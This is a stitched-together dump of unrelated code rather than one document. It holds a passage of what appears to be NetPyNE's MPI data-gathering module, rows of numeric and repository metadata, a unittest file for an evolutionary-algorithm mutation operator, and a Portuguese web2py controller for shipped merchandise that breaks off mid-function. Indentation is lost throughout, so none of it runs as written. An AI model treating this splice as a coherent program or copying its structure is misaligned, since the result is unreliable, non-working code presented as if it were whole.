for cell in sim.net.compartCells:
try:
del cell.imembVec
del cell.imembPtr
del cell._segCoords
except:
pass
for pop in list(sim.net.pops.values()):
try:
del pop._morphSegCoords
except:
pass
simDataVecs = ['spkt', 'spkid', 'stims', 'dipole'] + list(sim.cfg.recordTraces.keys())
if sim.cfg.recordDipoles:
_aggregateDipoles()
simDataVecs.append('dipole')
singleNodeVecs = ['t']
if sim.nhosts > 1: # only gather if >1 nodes
netPopsCellGids = {popLabel: list(pop.cellGids) for popLabel,pop in sim.net.pops.items()}
# gather only sim data
if getattr(sim.cfg, 'gatherOnlySimData', False):
nodeData = {'simData': sim.simData}
data = [None]*sim.nhosts
data[0] = {}
for k,v in nodeData.items():
data[0][k] = v
gather = sim.pc.py_alltoall(data)
sim.pc.barrier()
if sim.rank == 0: # simData
print(' Gathering only sim data...')
sim.allSimData = Dict()
for k in list(gather[0]['simData'].keys()): # initialize all keys of allSimData dict
if gatherLFP and k == 'LFP':
sim.allSimData[k] = np.zeros((gather[0]['simData']['LFP'].shape))
elif sim.cfg.recordDipoles and k == 'dipole':
for dk in sim.cfg.recordDipoles:
sim.allSimData[k][dk] = np.zeros(len(gather[0]['simData']['dipole'][dk]))
else:
sim.allSimData[k] = {}
for key in singleNodeVecs: # store single node vectors (eg. 't')
sim.allSimData[key] = list(nodeData['simData'][key])
# fill in allSimData taking into account if data is dict of h.Vector (code needs improvement to be more generic)
for node in gather: # concatenate data from each node
for key,val in node['simData'].items(): # update simData dics of dics of h.Vector
if key in simDataVecs: # simData dicts that contain Vectors
if isinstance(val, dict):
for key2,val2 in val.items():
if isinstance(val2,dict):
sim.allSimData[key].update(Dict({key2:Dict()}))
for stim,val3 in val2.items():
sim.allSimData[key][key2].update({stim:list(val3)}) # udpate simData dicts which are dicts of dicts of Vectors (eg. ['stim']['cell_1']['backgrounsd']=h.Vector)
#elif key == 'dipole':
# sim.allSimData[key][key2] = np.add(sim.allSimData[key][key2],val2.as_numpy()) # add together dipole values from each node
else:
sim.allSimData[key].update({key2:list(val2)}) # udpate simData dicts which are dicts of Vectors (eg. ['v']['cell_1']=h.Vector)
else:
sim.allSimData[key] = list(sim.allSimData[key])+list(val) # udpate simData dicts which are Vectors
elif gatherLFP and key == 'LFP':
sim.allSimData[key] += np.array(val)
elif key not in singleNodeVecs:
sim.allSimData[key].update(val) # update simData dicts which are not Vectors
if len(sim.allSimData['spkt']) > 0:
sim.allSimData['spkt'], sim.allSimData['spkid'] = zip(*sorted(zip(sim.allSimData['spkt'], sim.allSimData['spkid']))) # sort spks
sim.allSimData['spkt'], sim.allSimData['spkid'] = list(sim.allSimData['spkt']), list(sim.allSimData['spkid'])
sim.net.allPops = ODict() # pops
for popLabel,pop in sim.net.pops.items(): sim.net.allPops[popLabel] = pop.__getstate__() # can't use dict comprehension for OrderedDict
sim.net.allCells = [c.__dict__ for c in sim.net.cells]
# gather cells, pops and sim data
else:
nodeData = {'netCells': [c.__getstate__() for c in sim.net.cells], 'netPopsCellGids': netPopsCellGids, 'simData': sim.simData}
data = [None]*sim.nhosts
data[0] = {}
for k,v in nodeData.items():
data[0][k] = v
#print data
gather = sim.pc.py_alltoall(data)
sim.pc.barrier()
if sim.rank == 0:
allCells = []
allPops = ODict()
for popLabel,pop in sim.net.pops.items(): allPops[popLabel] = pop.__getstate__() # can't use dict comprehension for OrderedDict
allPopsCellGids = {popLabel: [] for popLabel in netPopsCellGids}
sim.allSimData = Dict()
for k in list(gather[0]['simData'].keys()): # initialize all keys of allSimData dict
if gatherLFP and k == 'LFP':
sim.allSimData[k] = np.zeros((gather[0]['simData']['LFP'].shape))
elif sim.cfg.recordDipoles and k == 'dipole':
for dk in sim.cfg.recordDipoles:
sim.allSimData[k][dk] = np.zeros(len(gather[0]['simData']['dipole'][dk]))
else:
sim.allSimData[k] = {}
for key in singleNodeVecs: # store single node vectors (eg. 't')
sim.allSimData[key] = list(nodeData['simData'][key])
# fill in allSimData taking into account if data is dict of h.Vector (code needs improvement to be more generic)
for node in gather: # concatenate data from each node
allCells.extend(node['netCells']) # extend allCells list
for popLabel,popCellGids in node['netPopsCellGids'].items():
allPopsCellGids[popLabel].extend(popCellGids)
for key,val in node['simData'].items(): # update simData dics of dics of h.Vector
if key in simDataVecs: # simData dicts that contain Vectors
if isinstance(val,dict):
for key2,val2 in val.items():
if isinstance(val2,dict):
sim.allSimData[key].update(Dict({key2:Dict()}))
for stim,val3 in val2.items():
sim.allSimData[key][key2].update({stim:list(val3)}) # udpate simData dicts which are dicts of dicts of Vectors (eg. ['stim']['cell_1']['backgrounsd']=h.Vector)
#elif key == 'dipole':
# sim.allSimData[key][key2] = np.add(sim.allSimData[key][key2],val2.as_numpy()) # add together dipole values from each node
else:
sim.allSimData[key].update({key2:list(val2)}) # udpate simData dicts which are dicts of Vectors (eg. ['v']['cell_1']=h.Vector)
else:
sim.allSimData[key] = list(sim.allSimData[key])+list(val) # udpate simData dicts which are Vectors
elif gatherLFP and key == 'LFP':
sim.allSimData[key] += np.array(val)
elif key not in singleNodeVecs:
sim.allSimData[key].update(val) # update simData dicts which are not Vectors
if len(sim.allSimData['spkt']) > 0:
sim.allSimData['spkt'], sim.allSimData['spkid'] = zip(*sorted(zip(sim.allSimData['spkt'], sim.allSimData['spkid']))) # sort spks
sim.allSimData['spkt'], sim.allSimData['spkid'] = list(sim.allSimData['spkt']), list(sim.allSimData['spkid'])
sim.net.allCells = sorted(allCells, key=lambda k: k['gid'])
for popLabel,pop in allPops.items():
pop['cellGids'] = sorted(allPopsCellGids[popLabel])
sim.net.allPops = allPops
# clean to avoid mem leaks
for node in gather:
if node:
node.clear()
del node
for item in data:
if item:
item.clear()
del item
else: # if single node, save data in same format as for multiple nodes for consistency
if sim.cfg.createNEURONObj:
sim.net.allCells = [Dict(c.__getstate__()) for c in sim.net.cells]
else:
sim.net.allCells = [c.__dict__ for c in sim.net.cells]
sim.net.allPops = ODict()
for popLabel,pop in sim.net.pops.items(): sim.net.allPops[popLabel] = pop.__getstate__() # can't use dict comprehension for OrderedDict
sim.allSimData = Dict()
for k in list(sim.simData.keys()): # initialize all keys of allSimData dict
sim.allSimData[k] = Dict()
for key,val in sim.simData.items(): # update simData dics of dics of h.Vector
if key in simDataVecs+singleNodeVecs: # simData dicts that contain Vectors
if isinstance(val,dict):
for cell,val2 in val.items():
if isinstance(val2,dict):
sim.allSimData[key].update(Dict({cell:Dict()}))
for stim,val3 in val2.items():
sim.allSimData[key][cell].update({stim:list(val3)}) # udpate simData dicts which are dicts of dicts of Vectors (eg. ['stim']['cell_1']['backgrounsd']=h.Vector)
else:
sim.allSimData[key].update({cell:list(val2)}) # udpate simData dicts which are dicts of Vectors (eg. ['v']['cell_1']=h.Vector)
else:
sim.allSimData[key] = list(sim.allSimData[key])+list(val) # udpate simData dicts which are Vectors
else:
sim.allSimData[key] = val # update simData dicts which are not Vectors
## Print statistics
sim.pc.barrier()
if sim.rank == 0:
sim.timing('stop', 'gatherTime')
if sim.cfg.timing: print((' Done; gather time = %0.2f s.' % sim.timingData['gatherTime']))
print('\nAnalyzing...')
sim.totalSpikes = len(sim.allSimData['spkt'])
sim.totalSynapses = sum([len(cell['conns']) for cell in sim.net.allCells])
if sim.cfg.createPyStruct:
if sim.cfg.compactConnFormat:
preGidIndex = sim.cfg.compactConnFormat.index('preGid') if 'preGid' in sim.cfg.compactConnFormat else 0
sim.totalConnections = sum([len(set([conn[preGidIndex] for conn in cell['conns']])) for cell in sim.net.allCells])
else:
sim.totalConnections = sum([len(set([conn['preGid'] for conn in cell['conns']])) for cell in sim.net.allCells])
else:
sim.totalConnections = sim.totalSynapses
sim.numCells = len(sim.net.allCells)
if sim.totalSpikes > 0:
sim.firingRate = float(sim.totalSpikes)/sim.numCells/sim.cfg.duration*1e3 # Calculate firing rate
else:
sim.firingRate = 0
if sim.numCells > 0:
sim.connsPerCell = sim.totalConnections/float(sim.numCells) # Calculate the number of connections per cell
sim.synsPerCell = sim.totalSynapses/float(sim.numCells) # Calculate the number of connections per cell
else:
sim.connsPerCell = 0
sim.synsPerCell = 0
print((' Cells: %i' % (sim.numCells) ))
print((' Connections: %i (%0.2f per cell)' % (sim.totalConnections, sim.connsPerCell)))
if sim.totalSynapses != sim.totalConnections:
print((' Synaptic contacts: %i (%0.2f per cell)' % (sim.totalSynapses, sim.synsPerCell)))
if 'runTime' in sim.timingData:
print((' Spikes: %i (%0.2f Hz)' % (sim.totalSpikes, sim.firingRate)))
print((' Simulated time: %0.1f s; %i workers' % (sim.cfg.duration/1e3, sim.nhosts)))
print((' Run time: %0.2f s' % (sim.timingData['runTime'])))
if sim.cfg.printPopAvgRates and not sim.cfg.gatherOnlySimData:
trange = sim.cfg.printPopAvgRates if isinstance(sim.cfg.printPopAvgRates, list) else None
sim.allSimData['popRates'] = sim.analysis.popAvgRates(tranges=trange)
if 'plotfI' in sim.cfg.analysis:
sim.analysis.calculatefI() # need to call here so data is saved to file
sim.allSimData['avgRate'] = sim.firingRate # save firing rate
return sim.allSimData
#------------------------------------------------------------------------------
# Gathers simData from filess
#------------------------------------------------------------------------------
def fileGather(gatherLFP = True):
"""
Function for/to <short description of `netpyne.sim.gather.fileGather`>
Parameters
----------
gatherLFP : bool
<Short description of gatherLFP>
**Default:** ``True``
**Options:** ``<option>`` <description of option>
"""
import os, pickle
from .. import sim
sim.timing('start', 'gatherTime')
# iterate through the saved files and concat their data
fileData = Dict()
if sim.rank == 0:
import re
if hasattr(sim.cfg, 'intervalFolder'):
targetFolder = sim.cfg.intervalFolder
else:
targetFolder = os.path.dirname(sim.cfg.filename)
for f in os.listdir(targetFolder):
if re.search(r'data_\d+.pkl$', f) is not None:
with open(targetFolder + '/' + f, 'rb') as data:
temp = pickle.load(data)
for k in temp.keys():
if k in fileData:
if isinstance(temp[k], list):
fileData[k] = fileData[k] + temp[k]
elif isinstance(temp[k], dict):
fileData[k].update(temp[k])
else:
fileData[k] = temp[k]
simDataVecs = ['spkt','spkid','stims']+list(sim.cfg.recordTraces.keys())
singleNodeVecs = ['t']
if sim.rank == 0:
sim.allSimData = Dict()
sim.allSimData.update(fileData)
if len(sim.allSimData['spkt']) > 0:
sim.allSimData['spkt'], sim.allSimData['spkid'] = zip(*sorted(zip(sim.allSimData['spkt'], sim.allSimData['spkid']))) # sort spks
sim.allSimData['spkt'], sim.allSimData['spkid'] = list(sim.allSimData['spkt']), list(sim.allSimData['spkid'])
# 1 get the right data, now check that we have right amount
# 2 use that data rather than gathering later
## Pack data from all hosts
if sim.rank==0:
print('\nGathering data from files...')
# flag to avoid saving sections data for each cell (saves gather time and space; cannot inspect cell secs or re-simulate)
if not sim.cfg.saveCellSecs:
for cell in sim.net.cells:
cell.secs = None
cell.secLists = None
# flag to avoid saving conns data for each cell (saves gather time and space; cannot inspect cell conns or re-simulate)
if not sim.cfg.saveCellConns:
for cell in sim.net.cells:
cell.conns = []
# Store conns in a compact list format instead of a long dict format (cfg.compactConnFormat contains list of keys to include)
elif sim.cfg.compactConnFormat:
sim.compactConnFormat()
# remove data structures used to calculate LFP
if gatherLFP and sim.cfg.recordLFP and hasattr(sim.net, 'compartCells') and sim.cfg.createNEURONObj:
for cell in sim.net.compartCells:
try:
del cell.imembVec
del cell.imembPtr
del cell._segCoords
except:
pass
for pop in list(sim.net.pops.values()):
try:
del pop._morphSegCoords
except:
pass
# simDataVecs = ['spkt','spkid','stims']+list(sim.cfg.recordTraces.keys())
# singleNodeVecs = ['t']
if sim.nhosts > 1: # only gather if >1 nodes
netPopsCellGids = {popLabel: list(pop.cellGids) for popLabel,pop in sim.net.pops.items()}
# gather only sim data
if getattr(sim.cfg, 'gatherOnlySimData', False):
pass
# gather the non-simData
else:
# nodeData = {'netCells': [c.__getstate__() for c in sim.net.cells], 'netPopsCellGids': netPopsCellGids, 'simData': sim.simData}
nodeData = {'netCells': [c.__getstate__() for c in sim.net.cells], 'netPopsCellGids': netPopsCellGids}
data = [None]*sim.nhosts
data[0] = {}
for k,v in nodeData.items():
data[0][k] = v
#print data
gather = sim.pc.py_alltoall(data)
sim.pc.barrier()
if sim.rank == 0:
allCells = []
allPops = ODict()
for popLabel,pop in sim.net.pops.items(): allPops[popLabel] = pop.__getstate__() # can't use dict comprehension for OrderedDict
allPopsCellGids = {popLabel: [] for popLabel in netPopsCellGids} ####################
# fill in allSimData taking into account if data is dict of h.Vector (code needs improvement to be more generic)
for node in gather: # concatenate data from each node
allCells.extend(node['netCells']) # extend allCells list
for popLabel,popCellGids in node['netPopsCellGids'].items():
allPopsCellGids[popLabel].extend(popCellGids)
if len(sim.allSimData['spkt']) > 0:
sim.allSimData['spkt'], sim.allSimData['spkid'] = zip(*sorted(zip(sim.allSimData['spkt'], sim.allSimData['spkid']))) # sort spks
sim.allSimData['spkt'], sim.allSimData['spkid'] = list(sim.allSimData['spkt']), list(sim.allSimData['spkid'])
sim.net.allCells = sorted(allCells, key=lambda k: k['gid'])
for popLabel,pop in allPops.items():
pop['cellGids'] = sorted(allPopsCellGids[popLabel])
sim.net.allPops = allPops
# clean to avoid mem leaks
for node in gather:
if node:
node.clear()
del node
for item in data:
if item:
item.clear()
del item
## Print statistics
sim.pc.barrier()
if sim.rank == 0:
sim.timing('stop', 'gatherTime')
if sim.cfg.timing: print((' Done; gather time = %0.2f s.' % sim.timingData['gatherTime']))
print('\nAnalyzing...')
sim.totalSpikes = len(sim.allSimData['spkt'])
sim.totalSynapses = sum([len(cell['conns']) for cell in sim.net.allCells])
if sim.cfg.createPyStruct:
if sim.cfg.compactConnFormat:
preGidIndex = sim.cfg.compactConnFormat.index('preGid') if 'preGid' in sim.cfg.compactConnFormat else 0
sim.totalConnections = sum([len(set([conn[preGidIndex] for conn in cell['conns']])) for cell in sim.net.allCells])
else:
sim.totalConnections = sum([len(set([conn['preGid'] for conn in cell['conns']])) for cell in sim.net.allCells])
else:
sim.totalConnections = sim.totalSynapses
sim.numCells = len(sim.net.allCells)
if sim.totalSpikes > 0:
sim.firingRate = float(sim.totalSpikes)/sim.numCells/sim.cfg.duration*1e3 # Calculate firing rate
else:
sim.firingRate = 0
if sim.numCells > 0:
sim.connsPerCell = sim.totalConnections/float(sim.numCells) # Calculate the number of connections per cell
sim.synsPerCell = sim.totalSynapses/float(sim.numCells) # Calculate the number of connections per cell
else:
sim.connsPerCell = 0
sim.synsPerCell = 0
print((' Cells: %i' % (sim.numCells) ))
print((' Connections: %i (%0.2f per cell)' % (sim.totalConnections, sim.connsPerCell)))
if sim.totalSynapses != sim.totalConnections:
print((' Synaptic contacts: %i (%0.2f per cell)' % (sim.totalSynapses, sim.synsPerCell)))
if 'runTime' in sim.timingData:
print((' Spikes: %i (%0.2f Hz)' % (sim.totalSpikes, sim.firingRate)))
print((' Simulated time: %0.1f s; %i workers' % (sim.cfg.duration/1e3, sim.nhosts)))
print((' Run time: %0.2f s' % (sim.timingData['runTime'])))
if sim.cfg.printPopAvgRates and not sim.cfg.gatherOnlySimData:
trange = sim.cfg.printPopAvgRates if isinstance(sim.cfg.printPopAvgRates,list) else None
sim.allSimData['popRates'] = sim.analysis.popAvgRates(tranges=trange)
if 'plotfI' in sim.cfg.analysis:
times = get(sim.cfg.analysis['plotfI'], 'times', [0, sim.cfg.duration])
dur = get(sim.cfg.analysis['plotfI'], 'dur', sim.cfg.duration)
sim.allSimData['fI'] = [len([spkt for spkt in sim.allSimData['spkt']
if t <= spkt < t + dur]) / (dur / 1000.0) for t in times]
sim.allSimData['avgRate'] = sim.firingRate # save firing rate
return sim.allSimData
#------------------------------------------------------------------------------
# Gathers simData from filess
#------------------------------------------------------------------------------
def mergeFiles(gatherLFP = True, targetFolder = None, saveFilename = None):
"""
Function for/to <short description of `netpyne.sim.gather.fileGather`>
Parameters
----------
gatherLFP : bool
<Short description of gatherLFP>
**Default:** ``True``
**Options:** ``<option>`` <description of option>
"""
import os, pickle
from .. import sim
# iterate through the saved files and concat their data
fileData = Dict()
if sim.rank == 0:
import re
if not targetFolder:
if hasattr(sim.cfg, 'intervalFolder'):
targetFolder = sim.cfg.intervalFolder
else:
targetFolder = os.path.dirname(sim.cfg.filename)
# find all individual sim labels whose files need to be gathered
simLabels = [f.replace('_node0.pkl','') for f in os.listdir(targetFolder) if f.endswith('_node0.pkl')]
for simLabel in simLabels:
print('Merging files for simulation %s...' % (simLabel))
fileList = [f for f in os.listdir(targetFolder) if f.startswith(simLabel+'_node')]
for f in fileList:
with open(targetFolder + '/' + f, 'rb') as data:
temp = pickle.load(data)
print(' Merging data file %s' % (f))
for k in temp.keys():
if k in fileData:
if isinstance(temp[k], list):
fileData[k] = fileData[k] + temp[k]
elif isinstance(temp[k], dict):
fileData[k].update(temp[k])
else:
fileData[k] = temp[k]
simDataVecs = ['spkt','spkid','stims']+list(sim.cfg.recordTraces.keys())
singleNodeVecs = ['t']
sim.allSimData = Dict()
sim.allSimData.update(fileData)
if len(sim.allSimData['spkt']) > 0:
sim.allSimData['spkt'], sim.allSimData['spkid'] = zip(*sorted(zip(sim.allSimData['spkt'], sim.allSimData['spkid']))) # sort spks
sim.allSimData['spkt'], sim.allSimData['spkid'] = list(sim.allSimData['spkt']), list(sim.allSimData['spkid'])
# 1 get the right data, now check that we have right amount
# 2 use that data rather than gathering later
## Pack data from all hosts
if sim.rank==0:
print('\nGathering data from files...')
# flag to avoid saving sections data for each cell (saves gather time and space; cannot inspect cell secs or re-simulate)
if not sim.cfg.saveCellSecs:
for cell in sim.net.cells:
cell.secs = None
cell.secLists = None
# flag to avoid saving conns data for each cell (saves gather time and space; cannot inspect cell conns or re-simulate)
if not sim.cfg.saveCellConns:
for cell in sim.net.cells:
cell.conns = []
# Store conns in a compact list format instead of a long dict format (cfg.compactConnFormat contains list of keys to include)
elif sim.cfg.compactConnFormat:
sim.compactConnFormat()
# remove data structures used to calculate LFP
if gatherLFP and sim.cfg.recordLFP and hasattr(sim.net, 'compartCells') and sim.cfg.createNEURONObj:
for cell in sim.net.compartCells:
try:
del cell.imembVec
del cell.imembPtr
del cell._segCoords
except:
pass
for pop in list(sim.net.pops.values()):
try:
del pop._morphSegCoords
except:
pass
# simDataVecs = ['spkt','spkid','stims']+list(sim.cfg.recordTraces.keys())
# singleNodeVecs = ['t']
if sim.nhosts > 1: # only gather if >1 nodes
netPopsCellGids = {popLabel: list(pop.cellGids) for popLabel,pop in sim.net.pops.items()}
# gather only sim data
if getattr(sim.cfg, 'gatherOnlySimData', False):
pass
# gather the non-simData
else:
# nodeData = {'netCells': [c.__getstate__() for c in sim.net.cells], 'netPopsCellGids': netPopsCellGids, 'simData': sim.simData}
nodeData = {'netCells': [c.__getstate__() for c in sim.net.cells], 'netPopsCellGids': netPopsCellGids}
data = [None]*sim.nhosts
data[0] = {}
for k,v in nodeData.items():
data[0][k] = v
#print data
gather = sim.pc.py_alltoall(data)
sim.pc.barrier()
if sim.rank == 0:
allCells = []
allPops = ODict()
for popLabel,pop in sim.net.pops.items(): allPops[popLabel] = pop.__getstate__() # can't use dict comprehension for OrderedDict
allPopsCellGids = {popLabel: [] for popLabel in netPopsCellGids} ####################
# fill in allSimData taking into account if data is dict of h.Vector (code needs improvement to be more generic)
for node in gather: # concatenate data from each node
allCells.extend(node['netCells']) # extend allCells list
for popLabel,popCellGids in node['netPopsCellGids'].items():
allPopsCellGids[popLabel].extend(popCellGids)
if len(sim.allSimData['spkt']) > 0:
sim.allSimData['spkt'], sim.allSimData['spkid'] = zip(*sorted(zip(sim.allSimData['spkt'], sim.allSimData['spkid']))) # sort spks
sim.allSimData['spkt'], sim.allSimData['spkid'] = list(sim.allSimData['spkt']), list(sim.allSimData['spkid'])
sim.net.allCells = sorted(allCells, key=lambda k: k['gid'])
for popLabel,pop in allPops.items():
pop['cellGids'] = sorted(allPopsCellGids[popLabel])
sim.net.allPops = allPops
# clean to avoid mem leaks
for node in gather:
if node:
node.clear()
del node
for item in data:
if item:
item.clear()
del item
sim.saveData(filename=saveFilename)
# SAVE TO SINGLE FILE!! option to save only parts of it
#------------------------------------------------------------------------------
# Gather tags from cells
#------------------------------------------------------------------------------
def _gatherAllCellTags():
from .. import sim
data = [{cell.gid: cell.tags for cell in sim.net.cells}]*sim.nhosts # send cells data to other nodes
gather = sim.pc.py_alltoall(data) # collect cells data from other nodes (required to generate connections)
sim.pc.barrier()
allCellTags = {}
for dataNode in gather:
allCellTags.update(dataNode)
# clean to avoid mem leaks
for node in gather:
if node:
node.clear()
del node
for item in data:
if item:
item.clear()
del item
return allCellTags
#------------------------------------------------------------------------------
# Gather tags from cells
#------------------------------------------------------------------------------
def _gatherAllCellConnPreGids():
from .. import sim
data = [{cell.gid: [conn['preGid'] for conn in cell.conns] for cell in sim.net.cells}]*sim.nhosts # send cells data to other nodes
gather = sim.pc.py_alltoall(data) # collect cells data from other nodes (required to generate connections)
sim.pc.barrier()
allCellConnPreGids = {}
for dataNode in gather:
allCellConnPreGids.update(dataNode)
# clean to avoid mem leaks
for node in gather:
if node:
node.clear()
del node
for item in data:
if item:
item.clear()
del item
return allCellConnPreGids
#------------------------------------------------------------------------------
# Gather data from nodes
#------------------------------------------------------------------------------
def _gatherCells():
from .. import sim
## Pack data from all hosts
if sim.rank==0:
print('\nUpdating sim.net.allCells...')
if sim.nhosts > 1: # only gather if >1 nodes
nodeData = {'netCells': [c.__getstate__() for c in sim.net.cells]}
data = [None]*sim.nhosts
data[0] = {}
for k,v in nodeData.items():
data[0][k] = v
gather = sim.pc.py_alltoall(data)
sim.pc.barrier()
if sim.rank == 0:
allCells = []
# fill in allSimData taking into account if data is dict of h.Vector (code needs improvement to be more generic)
for node in gather: # concatenate data from each node
allCells.extend(node['netCells']) # extend allCells list
sim.net.allCells = sorted(allCells, key=lambda k: k['gid'])
# clean to avoid mem leaks
for node in gather:
if node:
node.clear()
del node
for item in data:
if item:
item.clear()
del item
else: # if single node, save data in same format as for multiple nodes for consistency
sim.net.allCells = [c.__getstate__() for c in sim.net.cells]
#------------------------------------------------------------------------------
# Aggregate dipole data for each cell on nodes
#------------------------------------------------------------------------------
def _aggregateDipoles ():
from .. import sim
if not hasattr(sim.net, 'compartCells'):
sim.net.compartCells = [c for c in sim.net.cells if type(c) is sim.CompartCell]
for k in sim.cfg.recordDipoles:
sim.simData['dipole'][k] = sim.h.Vector((sim.cfg.duration/sim.cfg.recordStep)+1)
for cell in sim.net.compartCells:
for k, v in sim.cfg.recordDipoles.items():
if cell.tags['pop'] in v:
sim.simData['dipole'][k].add(cell.dipole['hRec'])
| 45.973615
| 203
| 0.528524
| 3,798
| 34,848
| 4.819905
| 0.091364
| 0.073856
| 0.01617
| 0.021851
| 0.909265
| 0.897684
| 0.891566
| 0.885338
| 0.874686
| 0.873047
| 0
| 0.005983
| 0.333362
| 34,848
| 757
| 204
| 46.034346
| 0.782015
| 0.228478
| 0
| 0.867188
| 0
| 0
| 0.062721
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.013672
| false
| 0.015625
| 0.037109
| 0
| 0.058594
| 0.054688
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5aaa83b0fab0171b893f04714db3fb949048ce0d
| 2,886
|
py
|
Python
|
src/FFEAT/test/strategies/mutation/ReplaceWithNormalTest.py
|
PatrikValkovic/MasterThesis
|
6e9f3b186541db6c8395ebc96ace7289d01c805b
|
[
"MIT"
] | null | null | null |
src/FFEAT/test/strategies/mutation/ReplaceWithNormalTest.py
|
PatrikValkovic/MasterThesis
|
6e9f3b186541db6c8395ebc96ace7289d01c805b
|
[
"MIT"
] | null | null | null |
src/FFEAT/test/strategies/mutation/ReplaceWithNormalTest.py
|
PatrikValkovic/MasterThesis
|
6e9f3b186541db6c8395ebc96ace7289d01c805b
|
[
"MIT"
] | null | null | null |
###############################
#
# Created by Patrik Valkovic
# 3/16/2021
#
###############################
import unittest
import torch as t
import ffeat
from ffeat.strategies import mutation
class ReplaceWithNormalTest(unittest.TestCase):
def test_norm(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), 0.02)
pop = t.randn((1000,400))
(newpop,), kargs = m(pop)
self.assertEqual(newpop.shape, (1000,400))
self.assertIs(pop, newpop)
def test_not_inplace(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), 0.02, in_place=False)
pop = t.randn((1000,400))
(newpop,), kargs = m(pop)
self.assertEqual(newpop.shape, (1000,400))
self.assertIsNot(pop, newpop)
def test_rate_callable(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), ffeat.utils.decay.Linear(0.1, 0.01))
pop = t.randn((1000,400))
(newpop,), kargs = m(pop, iteration=13, max_iteration=23)
self.assertEqual(newpop.shape, (1000,400))
self.assertIs(pop, newpop)
def test_rate_high(self):
with self.assertRaises(ValueError):
mutation.Replace(t.distributions.Normal(0.0, 5.0), 1.6)
def test_rate_low(self):
with self.assertRaises(ValueError):
mutation.Replace(t.distributions.Normal(0.0, 5.0), 1.6)
def test_rate_high_callable(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), ffeat.utils.decay.Linear(1.2, 1.4))
pop = t.randn((1000,400))
with self.assertRaises(ValueError):
m(pop, iteration=13, max_iteration=23)
def test_rate_low_callable(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), ffeat.utils.decay.Linear(-1.6, -0.2))
pop = t.randn((1000,400))
with self.assertRaises(ValueError):
m(pop, iteration=13, max_iteration=23)
def test_invalid_distribution_shape(self):
m = mutation.Replace(t.distributions.Normal(0.0, t.ones((413,))), 0.02)
pop = t.randn((1000,400))
with self.assertRaises(ValueError):
m(pop, iteration=13, max_iteration=23)
@unittest.skipIf(not t.cuda.is_available(), 'CUDA not available')
def test_cuda(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), 0.02)
pop = t.randn((1000,400))
(newpop,), kargs = m(pop)
self.assertEqual(newpop.shape, (1000,400))
self.assertIs(pop, newpop)
@unittest.skipIf(not t.cuda.is_available(), 'CUDA not available')
def test_not_inplace_cuda(self):
m = mutation.Replace(t.distributions.Normal(0.0, 5.0), 0.02, in_place=False)
pop = t.randn((1000,400))
(newpop,), kargs = m(pop)
self.assertEqual(newpop.shape, (1000,400))
self.assertIsNot(pop, newpop)
if __name__ == '__main__':
unittest.main()
| 35.62963
| 100
| 0.620236
| 400
| 2,886
| 4.38
| 0.1875
| 0.015982
| 0.091324
| 0.165525
| 0.85274
| 0.844178
| 0.844178
| 0.828196
| 0.828196
| 0.78653
| 0
| 0.082162
| 0.211365
| 2,886
| 80
| 101
| 36.075
| 0.68761
| 0.012474
| 0
| 0.633333
| 0
| 0
| 0.01581
| 0
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.166667
| false
| 0
| 0.066667
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5ac6d81cb4fd071e4b1bfd9dccd3befa1f6ec98e
| 5,964
|
py
|
Python
|
applications/Sist01/controllers/produto.py
|
BetinRibeiro/web2py_crediario
|
d7b0aef4579870922c6d87b4b0322b427b2bef98
|
[
"BSD-3-Clause"
] | 2
|
2019-10-18T23:04:22.000Z
|
2019-10-24T04:03:10.000Z
|
applications/Sist01/controllers/produto.py
|
BetinRibeiro/web2py_crediario
|
d7b0aef4579870922c6d87b4b0322b427b2bef98
|
[
"BSD-3-Clause"
] | null | null | null |
applications/Sist01/controllers/produto.py
|
BetinRibeiro/web2py_crediario
|
d7b0aef4579870922c6d87b4b0322b427b2bef98
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
# tente algo como
def listar_merc_envio():
proj = db.projeto(request.args(0, cast=int))
rows = db(db.mercadoria_enviada.projeto == request.args(0, cast=int)).select()
return locals()
def inserir_merc_envio():
proj = db.projeto(request.args(0, cast=int))
db.mercadoria_enviada.projeto.default = proj.id
db.mercadoria_enviada.projeto.readable = False
db.mercadoria_enviada.projeto.writable = False
merc = db(db.mercadoria_enviada.projeto==proj.id).select()
form = SQLFORM(db.mercadoria_enviada).process()
if form.accepted:
response.flash = 'Formulario aceito'
redirect(URL('listar_merc_envio', args=proj.id))
elif form.errors:
response.flash = 'Formulario não aceito'
else:
response.flash = 'Preencha o formulario'
return locals()
def alterar_merc_envio():
merc = db.mercadoria_enviada(request.args(0, cast=int))
proj = db.projeto(merc.projeto)
db.mercadoria_enviada.projeto.readable = False
db.mercadoria_enviada.projeto.writable = False
form = SQLFORM(db.mercadoria_enviada, request.args(0, cast=int))
if form.process().accepted:
session.flash = 'atualizada'
redirect(URL('listar_merc_envio', args=proj.id))
elif form.errors:
response.flash = 'Erros no formulário!'
else:
if not response.flash:
response.flash = 'Preencha o formulário!'
return locals()
def subir_dados_mercadoria_envio():
iid = request.args(0, cast=int)
quant = request.args(1)
custo = request.args(3)
preco = request.args(2)
proj = db(db.projeto.id == iid).select().first()
proj.update_record(total_custo_envio=custo)
proj.update_record(total_quantidade_envio=quant)
proj.update_record(total_preco_envio=preco)
db.projeto.total_quantidade_envio.readable = True
db.projeto.total_quantidade_envio.writable = False
db.projeto.total_preco_envio.readable = True
db.projeto.total_preco_envio.writable = False
db.projeto.total_custo_envio.readable = True
db.projeto.total_custo_envio.writable = False
